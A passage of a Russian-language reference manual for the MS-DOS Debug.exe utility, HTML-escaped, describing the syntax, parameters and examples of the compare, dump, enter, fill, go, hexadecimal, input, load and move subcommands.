						&lt;p&gt;loopz 100&lt;br /&gt;loope 100&lt;br /&gt;ja 200&lt;br /&gt;jnbe 200&lt;/p&gt;
						&lt;p&gt;Для дополнительных кодов операций процессора 8087 необходимо задать префиксы wait или fwait. Например:&lt;/p&gt;
						&lt;p&gt;fwait fadd st,st(3) ; эта строка вставляет&lt;br /&gt;; в код префикса fwait&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Debug: c (compare)&lt;/p&gt;
						&lt;p&gt;Сравнение двух блоков памяти.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;c диапазон адрес&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;диапазон&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Задание начального и конечного адреса или начального адресы и длины первой области в памяти для сравнения.&lt;br /&gt;адрес&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Задание начального адреса второй области памяти для сравнения.&lt;br /&gt;?&lt;br /&gt;&amp;#160; &amp;#160; Вывод списка команд debug.&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; *&lt;br /&gt;&amp;#160; &amp;#160; * Задание правильных записей диапазона&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Параметр диапазон используется в командах debug для задания диапазона памяти. Для задания диапазона можно использовать один из следующих форматов: начальный и конечный адрес или начальный адрес и длина (разделяются символом l) диапазона. Например, обе следующих команды задают 16-разрядный диапазон, начинающийся с адреса CS:100:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; cs:100 10f&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; cs:100 l 10&lt;br /&gt;&amp;#160; &amp;#160; * Задание правильных записей адреса&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Адрес состоит из двух частей: первая содержит буквенное обозначение сегментного регистра или адрес сегмента из четырех цифр, а вторая содержит значение смещения. Адрес сегмента или сегментный регистр могут быть пропущены. По умолчанию для команд debug a, g, l, t, u и w адрес сегмента содержится в регистре CS. Для других подкоманд по умолчанию используется сегмент DS. Все числовые значения при этом представлены в шестнадцатеричном формате. Между именем сегмента и значением смещения следует вставлять двоеточие. Следующие адреса являются допустимыми:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; CS:0100&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 04BA:0100&lt;br /&gt;&amp;#160; &amp;#160; * Если параметры диапазон и адрес совпадают, команда c ничего не выводит и возвращается к приглашению debug. Если при сравнении блоков памяти обнаружены различия, они выводятся командой c в следующем виде:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; адрес1 байт1 байт2 адрес2&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы сравнить блок памяти от 100h до 10Fh с блоком памяти от 300h до 30Fh, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;c100,10f 300&lt;/p&gt;
						&lt;p&gt;или&lt;/p&gt;
						&lt;p&gt;c100l10 300&lt;/p&gt;
						&lt;p&gt;Обе эти команды выведут следующие данные (предполагается, что DS = 197F):&lt;/p&gt;
						&lt;p&gt;197F:0100 4D E4 197F:0300&lt;br /&gt;197F:0101 67 99 197F:0301&lt;br /&gt;197F:0102 A3 27 197F:0302&lt;br /&gt;197F:0103 35 F3 197F:0303&lt;br /&gt;197F:0104 97 BD 197F:0304&lt;br /&gt;197F:0105 04 35 197F:0305&lt;br /&gt;197F:0107 76 71 197F:0307&lt;br /&gt;197F:0108 E6 11 197F:0308&lt;br /&gt;197F:0109 19 2C 197F:0309&lt;br /&gt;197F:010A 80 0A 197F:030A&lt;br /&gt;197F:010B 36 7F 197F:030B&lt;br /&gt;197F:010C BE 22 197F:030C&lt;br /&gt;197F:010D 83 93 197F:030D&lt;br /&gt;197F:010E 49 77 197F:030E&lt;br /&gt;197F:010F 4F 8A 197F:030F&lt;/p&gt;
						&lt;p&gt;Адреса 197F:0106 и 197F:0306 отсутствуют в списке. Это означает, что значения, расположенные по этим адресам, совпадают.&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Debug: d (dump)&lt;/p&gt;
						&lt;p&gt;Просмотр содержимого заданного диапазона адресов памяти. Выполненная без параметров команда d выводит на экран содержимое 128 байт, начиная с конца диапазона адресов, заданного в предыдущей команде d.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;d [диапазон]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;диапазон&lt;br /&gt;&amp;#160; &amp;#160; Задание начального и конечного адреса или начального адреса и длины блока памяти для просмотра его содержимого.&lt;br /&gt;?&lt;br /&gt;&amp;#160; &amp;#160; Вывод списка команд debug.&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; *&lt;br /&gt;&amp;#160; &amp;#160; * Задание правильных записей диапазона&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Параметр диапазон используется в подкомандах debug для задания диапазона памяти. Параметр диапазон можно задать в одном из следующих форматов: начальный адрес и конечный адрес или начальный адрес и длина (обозначаемая l) диапазона. Например, оба следующих выражения задают диапазон из 16 байтов, начинающийся с адреса CS:100:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; cs:100 10f&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; cs:100 l 10&lt;br /&gt;&amp;#160; &amp;#160; * Если используется подкоманда d, содержимое памяти выводится командой Debug.exe двумя частями: шестнадцатеричной (каждый байт представлен в шестнадцатеричном формате) и текстовой (каждый байт представлен символом ASCII). Непечатаемые символы отображаются точкой (.) в текстовой части. Каждая строка на экране представляет содержимое 16 байт со знаком тире между восьмым и девятым байтом. Все строки начинаются на 16-ти байтной границе.&lt;br /&gt;&amp;#160; &amp;#160; * Сведения об отображении содержимого регистров с помощью подкоманды r (register) см. по ссылке «».&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Введите следующую команду:&lt;/p&gt;
						&lt;p&gt;dcs:100 10f&lt;/p&gt;
						&lt;p&gt;Команда debug.exe выводит содержимое диапазона в следующем формате:&lt;/p&gt;
						&lt;p&gt;04BA:0100 54 4F 4D 00 53 41 57 59-45 52 00 00 00 00 00 00.....&lt;/p&gt;
						&lt;p&gt;Команда Debug.exe выводит сведения в таком формате, если подкоманда d выполнена без параметров. Каждая строка на экране начинается с адреса, который отстоит от адреса предыдущей строки на 16 байт (или на 8 байт для экрана с 40 колонками). Для каждой последующей подкоманды d, вводимой без параметров, Debug.exe выводит следующую часть сведений непосредственно за предыдущей.&lt;/p&gt;
						&lt;p&gt;Чтобы вывести содержимое 20h байт, начиная с CS:100, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;dcs:100 l 20&lt;/p&gt;
						&lt;p&gt;Чтобы вывести содержимое всех байт в диапазоне от 100h до 115h в сегменте CS, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;dcs:100 115&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Debug: e (enter)&lt;/p&gt;
						&lt;p&gt;Ввод данных в память по заданному адресу.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;e адрес [список]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;адрес&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Адрес начала области памяти для ввода данных.&lt;br /&gt;список&lt;br /&gt;&amp;#160; &amp;#160; Задание списка байтов, которые требуется ввести в память.&lt;br /&gt;?&lt;br /&gt;&amp;#160; &amp;#160; Вывод списка подкоманд debug.&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; *&lt;br /&gt;&amp;#160; &amp;#160; * Задание правильных записей адреса&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Адрес состоит из двух частей: первая содержит буквенное обозначение сегментного регистра или адрес сегмента из четырех цифр, а вторая содержит значение смещения. Адрес сегмента или сегментный регистр могут быть пропущены. По умолчанию для подкоманд a, g, l, t, u и w команды debug адрес сегмента содержится в регистре CS. Для других подкоманд по умолчанию используется сегмент DS. Все числовые значения при этом представлены в шестнадцатеричном формате. Между именем сегмента и значением смещения следует вставлять двоеточие. Следующие адреса являются допустимыми:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; CS:0100&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 04BA:0100&lt;br /&gt;&amp;#160; &amp;#160; * Использование параметра адрес&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; При задании параметра адрес без указания параметра список Debug.exe выведет на экран адрес и его содержимое, затем повторит адрес на следующей строке и будет ждать ввода новой команды. В этот момент можно выполнить одно из следующих действий.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o Заменить байт данных. Для этого введите новое значение. Если введенное значение не является допустимым шестнадцатеричным числом или содержит более двух цифр, Debug.exe не выводит на экран неверные или избыточные символы.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o Перейти к следующему байту. Для этого нажмите клавишу ПРОБЕЛ. Для изменения данного байта введите новое значение после текущего. Если при нажатии клавиши ПРОБЕЛ пройдена 8-байтная граница, Debug.exe выводит на экран новую строку с новым адресом в начале строки.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o Возвратиться к предыдущему байту. Для этого нажмите клавишу МИНУС. Для перемещения назад более чем на один байт нажмите эту клавишу несколько раз. При нажатии клавиши МИНУС Debug.exe выводит новую строку с текущим адресом и значением.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o Остановить выполнение подкоманды e. Для этого нажмите клавишу ENTER. Это можно сделать в любой позиции курсора.&lt;br /&gt;&amp;#160; &amp;#160; * Использование параметра список&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если введен параметр список, подкоманда e последовательно заменяет существующие значения значениями из списка. При возникновении ошибки никакие значения не будут изменены.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Список может быть задан как шестнадцатеричными числами, так и строкой. При этом числа разделяются пробелами, запятыми или символами табуляции. Строки необходимо заключать в апострофы (т. е. &#039;строка&#039;) или кавычки (т. е. &amp;quot;строка&amp;quot;).&lt;br /&gt;&amp;#160; &amp;#160; * Создание двоичного кода&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Сведения о создании двоичного кода с помощью подкоманды a (assemble) см. по ссылке «».&lt;br /&gt;&amp;#160; &amp;#160; * Просмотр содержимого области памяти&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Сведения о просмотре содержимого области памяти с помощью подкоманды d (dump) см. по ссылке «».&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Введите следующую команду:&lt;/p&gt;
						&lt;p&gt;ecs:100&lt;/p&gt;
						&lt;p&gt;Debug.exe выведет содержимое первого байта в следующем формате:&lt;/p&gt;
						&lt;p&gt;04BA:0100 EB._&lt;/p&gt;
						&lt;p&gt;Чтобы заменить это значение числом 41, введите 41 в позицию курсора, как показано ниже:&lt;/p&gt;
						&lt;p&gt;04BA:0100 EB.41_&lt;/p&gt;
						&lt;p&gt;Последовательность байтов можно ввести в одной подкоманде e. Вместо нажатия клавиши ENTER после нового значения, нажмите клавишу ПРОБЕЛ. Программа Debug.exe выведет следующее значение. В данном примере, если клавиша ПРОБЕЛ нажата три раза, Debug.exe выведет на экран следующие значения:&lt;/p&gt;
						&lt;p&gt;04BA:0100 EB.41 10. 00. BC._&lt;/p&gt;
						&lt;p&gt;Чтобы заменить шестнадцатеричное значение BC числом 42, введите 42 в позицию курсора, как показано ниже:&lt;/p&gt;
						&lt;p&gt;04BA:0100 EB.41 10. 00. BC.42_&lt;/p&gt;
						&lt;p&gt;Чтобы изменить значение 10 на 6F, дважды нажмите клавишу МИНУС для возврата к адресу 0101 (значение 10). Программа Debug.exe выводит следующие сведения:&lt;/p&gt;
						&lt;p&gt;04BA:0100 EB.41 10. 00. BC.42-&lt;br /&gt;04BA:0102 00.-&lt;br /&gt;04BA:0101 10._&lt;/p&gt;
						&lt;p&gt;Введите 6F в позицию курсора для изменения значения, как показано ниже:&lt;/p&gt;
						&lt;p&gt;04BA:0101 10.6F_&lt;/p&gt;
						&lt;p&gt;Нажмите клавишу ENTER для завершения выполнения подкоманды e и возврата к приглашению программы debug.&lt;/p&gt;
						&lt;p&gt;Рассмотрим пример ввода строковой величины:&lt;/p&gt;
						&lt;p&gt;eds:100 &amp;quot;Это пример текста&amp;quot;&lt;/p&gt;
						&lt;p&gt;Эта строка будет занимать 24 байта, начиная с адреса DS:100.&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Debug: f (fill)&lt;/p&gt;
						&lt;p&gt;Заполнение адресов в определенной области памяти заданными значениями.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;f диапазон список&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;диапазон&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Задание начального и конечного адреса или начального адреса и длины области памяти, которую требуется заполнить.&lt;br /&gt;список&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Задание данных, которые требуется ввести.&lt;br /&gt;?&lt;br /&gt;&amp;#160; &amp;#160; Вывод списка подкоманд debug.&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; *&lt;br /&gt;&amp;#160; &amp;#160; * Задание правильных записей диапазона&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Параметр диапазон используется в подкомандах debug для задания диапазона памяти. Параметр диапазон можно задать в одном из следующих форматов: начальный адрес и конечный адрес или начальный адрес и длина (обозначаемая l) диапазона. Например, оба следующих выражения задают диапазон из 16 байтов, начинающийся с адреса CS:100:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; cs:100 10f&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; cs:100 l 10&lt;br /&gt;&amp;#160; &amp;#160; * Задание данных&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Данные можно задать в шестнадцатеричном или текстовом формате. Данные, ранее находившиеся по данному адресу, будут удалены.&lt;br /&gt;&amp;#160; &amp;#160; * Использование параметра список&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Список может состоять из шестнадцатеричных чисел или строки, заключенной в кавычки (т. е. &amp;quot;строка&amp;quot;).&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы заполнить область памяти с 04BA:100 по 04BA:1FF пятью определенными значениями (например 42, 45, 52, 54, 41) и повторять этот набор, пока 100h байт не будут заполнены программой Debug.exe, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;f04ba:100l100 42 45 52 54 41&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Debug: g (go)&lt;/p&gt;
						&lt;p&gt;Выполнение загруженной программы. Запущенная без параметров подкоманда g начинает выполнение с текущего адреса в реестрах CS:IP.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;g [=адрес] [точки_останова]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;адрес&lt;br /&gt;&amp;#160; &amp;#160; Задание адреса в памяти, с которого требуется начать выполнение программы. &lt;br /&gt;точки_останова&lt;br /&gt;&amp;#160; &amp;#160; Указание до 10 временных точек останова, которые могут быть заданы как часть подкоманды g.&lt;br /&gt;?&lt;br /&gt;&amp;#160; &amp;#160; Вывод списка подкоманд debug.&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; *&lt;br /&gt;&amp;#160; &amp;#160; * Задание правильных записей адреса&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Адрес состоит из двух частей: первая содержит буквенное обозначение сегментного регистра или адрес сегмента из четырех цифр, а вторая содержит значение смещения. Адрес сегмента или сегментный регистр могут быть пропущены. По умолчанию для подкоманд a, g, l, t, u и w команды debug адрес сегмента содержится в регистре CS. Для других подкоманд по умолчанию используется сегмент DS. Все числовые значения при этом представлены в шестнадцатеричном формате. Между именем сегмента и значением смещения следует вставлять двоеточие. Следующие адреса являются допустимыми:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; CS:0100&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 04BA:0100&lt;br /&gt;&amp;#160; &amp;#160; * Использование параметра адрес&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Введите знак равенства (=) перед параметром адрес, чтобы отличить адрес от адресов точек останова (точки_останова).&lt;br /&gt;&amp;#160; &amp;#160; * Задание точек останова&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Выполнение программы будет остановлено в первой встретившейся точке останова, независимо от расположения этой точки останова в списке параметра точки_останова. Debug.exe заменяет код, находящийся в точках останова, на инструкции прерывания.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Когда выполнение программы дошло до точки останова, Debug.exe восстанавливает код в точках останова и выводит на экран содержимое всех регистров, все флаги состояния и деассемблированную инструкцию, которая была выполнена последней. Debug.exe выводит те же сведения, которые получают при использовании полкоманды r (регистр) и указании адреса данной точки останова.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если программа не остановлена ни в одной точке, Debug.exe не заменяет коды прерываний первоначальными инструкциями.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Точки останова могут быть установлены только по адресам, содержащим первый байт кода операции 8086 (opcode). Если установлено больше 10 точек останова, выводится следующее сообщение:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; bp Error&lt;br /&gt;&amp;#160; &amp;#160; * Использование указателя на стек, задаваемый пользователем&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Указатель на стек, задаваемый пользователем, должен быть допустимым, а емкость стека должна быть не менее 6 байт для подкоманды g. Для перехода к тестируемой программе в подкоманде g используется инструкция iret. Debug.exe устанавливает указатель на стек пользователя, помещает туда пользовательские флаги состояния, значение регистра кодового сегмента и указатель на текущую команду. (Если заданный пользователем стек неверен или имеет недостаточный объем, возможен сбой в операционной системе). Debug.exe записывает код прерывания (т. е. 0CCh) в указанные точки останова или адреса.&lt;br /&gt;&amp;#160; &amp;#160; * Перезапуск программы&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Не перезапускайте программу при получении следующего сообщения:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Program terminated normally&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Чтобы правильно запустить программу, перезагрузите ее с помощью подкоманд n (name) и l (load).&lt;br /&gt;&amp;#160; &amp;#160; * Для получения дополнительных сведений о выполнении циклов, строковых инструкций, программных прерываний и процедур с помощью подкоманды p (proceed) щелкните ссылку «».&lt;br /&gt;&amp;#160; &amp;#160; * Сведения о выполнении одной инструкции с помощью подкоманды t (trace) см. по ссылке «».&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы запустить текущую программу и выполнить ее до точки останова по адресу 7550 в сегменте CS, введите следующую команду.&lt;/p&gt;
						&lt;p&gt;gcs:7550&lt;/p&gt;
						&lt;p&gt;Debug.exe выведет на экран содержимое регистров и состояние флагов, а затем остановит подкоманду g.&lt;/p&gt;
						&lt;p&gt;Чтобы установить две точки останова, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;gcs:7550, cs:8000&lt;/p&gt;
						&lt;p&gt;Если подкоманда g введена снова после остановки в точке останова, выполнение начнется с инструкции, следующей за точкой останова, а не с обычного адреса начала программы.&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Debug: h (hexadecimal)&lt;/p&gt;
						&lt;p&gt;Выполнение шестнадцатеричных арифметических операций над двумя заданными числами.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;h число1 число2&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;число1&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Первое шестнадцатеричное число в диапазоне от 0 до FFFFh.&lt;br /&gt;число2&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Второе шестнадцатеричное число в диапазоне от 0 до FFFFh.&lt;br /&gt;?&lt;br /&gt;&amp;#160; &amp;#160; Вывод списка подкоманд debug.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; *&lt;br /&gt;&amp;#160; &amp;#160; * В программе Debug.exe два введенных числа складываются, а затем вычисляется их разность. Результаты вычислений выводятся в одной строке — вначале сумма, затем разность.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Введите следующую команду:&lt;/p&gt;
						&lt;p&gt;h19f 10a&lt;/p&gt;
						&lt;p&gt;Результаты вычислений Debug.exe будут выведены в виде:&lt;/p&gt;
						&lt;p&gt;02A9 0095&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Debug: i (input)&lt;/p&gt;
						&lt;p&gt;Считывание и вывод на экран одного байта из указанного порта ввода.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;i порт&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;порт&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Задание порта ввода адресом. Адрес может быть 16-битным значением.&lt;br /&gt;?&lt;br /&gt;&amp;#160; &amp;#160; Вывод списка подкоманд debug.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; *&lt;br /&gt;&amp;#160; &amp;#160; * Сведения об отправке байта в порт вывода с помощью подкоманды o (output) см. по ссылке «».&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Введите следующую команду:&lt;/p&gt;
						&lt;p&gt;i2f8&lt;/p&gt;
						&lt;p&gt;Если находящаяся в порту величина равна 42h, Debug.exe считает ее и выведет в следующем виде:&lt;/p&gt;
						&lt;p&gt;42&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Debug: l (load)&lt;/p&gt;
						&lt;p&gt;Загрузка файла или содержимого сектора диска в память. Выполненная без параметров подкоманда l загружает файл, указанный в командной строке программы debug, в память, начиная с адреса CS:100. В регистрах BX и CX указывается количество загруженных байт. Если имя файла не было задано в командной строке debug, используется файл, ранее заданный при вызове последней подкоманды n.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;l [адрес]&lt;/p&gt;
						&lt;p&gt;l [адрес] [диск] [первый_сектор] [число]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;адрес&lt;br /&gt;&amp;#160; &amp;#160; Задание адреса области памяти, в которую требуется загрузить содержимое файла или сектора. Если параметр адрес не задан, используется текущий адрес в регистре CS. &lt;br /&gt;диск&lt;br /&gt;&amp;#160; &amp;#160; Задание накопителя, содержащего диск, с которого считываются определенные сектора. Данный параметр задается числом: 0 = A, 1 = B, 2 = C и т. д. &lt;br /&gt;первый_сектор&lt;br /&gt;&amp;#160; &amp;#160; Задание шестнадцатеричного номера первого сектора, содержимое которого требуется загрузить.&lt;br /&gt;число&lt;br /&gt;&amp;#160; &amp;#160; Задание шестнадцатеричного числа последовательных секторов, содержимое которых требуется загрузить. Параметры диск, первый_сектор и число используются только в том случае, когда необходимо загрузить содержимое определенных секторов, а не файл, указанный в командной строке debug или в последней подкоманде n (name).&lt;br /&gt;?&lt;br /&gt;&amp;#160; &amp;#160; Вывод списка подкоманд debug.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; *&lt;br /&gt;&amp;#160; &amp;#160; * Для загрузки задаваемого регистрами BX:CX числа байтов из файла на диске используется следующий синтаксис:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; l [адрес]&lt;br /&gt;&amp;#160; &amp;#160; * Для пропуска файловой системы и прямой загрузки указанных секторов используется следующий синтаксис:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; l [адрес] [диск] [первый_сектор] [число]&lt;br /&gt;&amp;#160; &amp;#160; * Задание правильных записей адреса&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Адрес состоит из двух частей: первая содержит буквенное обозначение сегментного регистра или адрес сегмента из четырех цифр, а вторая содержит значение смещения. Адрес сегмента или сегментный регистр могут быть пропущены. По умолчанию для подкоманд a, g, l, t, u и w команды debug адрес сегмента содержится в регистре CS. Для других подкоманд по умолчанию используется сегмент DS. All numeric values are in hexadecimal format. Между именем сегмента и значением смещения следует вставлять двоеточие. Следующие адреса являются допустимыми:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; CS:0100&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 04BA:0100&lt;br /&gt;&amp;#160; &amp;#160; * Использование параметра адрес&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; При вызове подкоманды l с указанием параметра адрес Debug.exe загрузит файл или содержимое сектора диска в область памяти, начиная с адреса.&lt;br /&gt;&amp;#160; &amp;#160; * Использование всех параметров&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; При вызове подкоманды l со всеми параметрами Debug.exe загружает содержимое сектора диска, а не файла.&lt;br /&gt;&amp;#160; &amp;#160; * Загрузка содержимого сектора диска&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Каждый сектор в указанном диапазоне считывается с диска, заданного параметром диск. Debug.exe начинает загрузку с первого_сектора и последовательно загружает сектора в память, пока не будет загружено заданное число секторов.&lt;br /&gt;&amp;#160; &amp;#160; * Загрузка файла .exe&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Для файлов с расширением .exe параметр адрес игнорируется. В этом случае Debug.exe использует загрузочный адрес, задаваемый в заголовке .exe файла. При загрузке заголовок отделяется от самого .exe файла, загружаемого в память, поэтому размер файла, указанный в заголовке, и фактически занимаемый размер в памяти будут различаться. Для просмотра .exe файла целиком он может быть переименован в файл с другим расширением и затем просмотрен в программе Debug.&lt;br /&gt;&amp;#160; &amp;#160; * Загрузка файлов .hex&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; В программе Debug.exe файлы с расширением .hex распознаются как файлы в шестнадцатеричном формате. Подкоманду l можно запустить без параметров для загрузки такого шестнадцатеричного файла, начиная с адреса, указанного в данном файле. Если подкоманда l запущена с параметром адрес, начальная точка загрузки определяется как сумма заданного адреса и адреса, содержащегося в шестнадцатеричном файле.&lt;br /&gt;&amp;#160; &amp;#160; * Сведения об указании файла с помощью подкоманды n (name) см. по ссылке «».&lt;br /&gt;&amp;#160; &amp;#160; * Сведения о записи отлаживаемого файла на диск с помощью подкоманды w (write) см. по ссылке «».&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;В командной строке введите:&lt;/p&gt;
						&lt;p&gt;debug&lt;/p&gt;
						&lt;p&gt;Введите следующую команду:&lt;/p&gt;
						&lt;p&gt;nfile.com&lt;/p&gt;
						&lt;p&gt;Чтобы загрузить файл File.com, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;l&lt;/p&gt;
						&lt;p&gt;Debug.exe загружает этот файл и выводит приглашение debug.&lt;/p&gt;
						&lt;p&gt;Чтобы загрузить содержимое 109 (6Dh) секторов диска C, начиная с логического сектора 15 (0Fh), в область памяти, начиная с адреса 04BA:0100, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;l04ba:100 2 0f 6d&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Debug: m (move)&lt;/p&gt;
						&lt;p&gt;Копирование содержимого одного блока памяти в другой.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;m диапазон адрес&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;диапазон&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Задание начального и конечного адреса или начального адреса и длины области памяти, содержимое которой требуется скопировать.&lt;br /&gt;адрес&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Задание начального адреса области памяти, в которую требуется скопировать содержимое диапазона.&lt;br /&gt;?&lt;br /&gt;&amp;#160; &amp;#160; Вывод списка подкоманд debug.&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; *&lt;br /&gt;&amp;#160; &amp;#160; * Задание правильных записей диапазона&lt;/p&gt;
